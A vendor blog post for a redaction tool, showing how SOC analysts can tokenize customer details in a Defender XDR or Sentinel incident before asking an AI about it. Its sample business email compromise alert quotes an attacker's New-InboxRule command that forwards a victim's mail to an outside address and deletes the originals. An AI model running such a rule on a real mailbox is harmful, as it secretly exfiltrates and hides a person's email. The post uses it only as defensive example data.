Data Sanitizer Data Sanitizer · Blog
● For SOC & IR analysts

Paste a Sentinel or Defender alert into AI without leaking customer data

Updated November 2026 · 4 min read

Defender XDR and Sentinel incidents are the alerts analysts most often want a second opinion on, and they name everything: the user, the device, the internal network, the mailbox rule an attacker created. Here is how to get the AI's help without handing it the customer.

The incident, as it comes out of the console

A made-up business email compromise case, the kind you would paste whole:

Incident 4821: Suspicious sign-in followed by inbox rule creation
Severity: High    Status: New    Provider: Microsoft Defender XDR
Account: mgarcia@contoso.com (Maria Garcia)
Device: CONTOSO-LT-0457 (contoso.local)
Sign-in IP: 203.0.113.48 (NL, Amsterdam)    Internal IP: 10.20.5.44
Alert 1: Sign-in from an anonymizing proxy, 08:14 UTC
Alert 2: New-InboxRule "Move to RSS Feeds" forwards mail to billing.update@fabrikam-mail.example
Command: New-InboxRule -Name "Move to RSS Feeds" -ForwardTo billing.update@fabrikam-mail.example -DeleteMessage $true
Analyst note: user confirmed she did not travel; MFA was approved from her phone at 08:13

What the AI does not need

What stays readable, on purpose

The alert names, the command, the rule name, the times, the country and the sign-in IP from the anonymizing proxy. Those are what the investigation is about. The attacker's public IP is an indicator, not the customer's data, and the AI needs it to answer well.

The same incident after Data Sanitizer

Output, exactly as the app produces it

Incident 4821: Suspicious sign-in followed by inbox rule creation
Severity: High    Status: New    Provider: Microsoft Defender XDR
Account: USER_01 (NAME_01)
Device: HOST_01 (DOMAIN_01)
Sign-in IP: 203.0.113.48 (NL, GEO_01)    Internal IP: IP_INT_01
Alert 1: Sign-in from an anonymizing proxy, 08:14 UTC
Alert 2: New-InboxRule "Move to RSS Feeds" forwards mail to USER_02
Command: New-InboxRule -Name "Move to RSS Feeds" -ForwardTo USER_02 -DeleteMessage $true
Analyst note: user confirmed she did not travel; MFA was approved from her phone at 08:13

Every value became a token, and the same value always gets the same token. USER_02 is the forwarding address in both the alert and the command, so the AI can still see that the rule and the alert describe one action.

Ask, then restore

Ask something like "Does this look like a business email compromise, and what should I check next?" The answer comes back in tokens ("check other sign-ins of USER_01 from 203.0.113.48..."). Paste it into Data Sanitizer's Restore view and every token turns back into the real value, on your machine. If you paste a second alert from the same incident into the same case, the same user and device keep the same tokens.

Still read it before you paste

No pattern matcher catches everything. Data Sanitizer highlights every value it replaced and flags anything that looks sensitive but was left as written, so you can mask it with one click. Read the output before it goes into the chat, and keep following your organization's rules on which AI tools are allowed.

Redact it first — in your browser, free.

Data Sanitizer strips secrets, IPs, names and PII from text before you paste it into any AI. Nothing is uploaded.

Open the free app →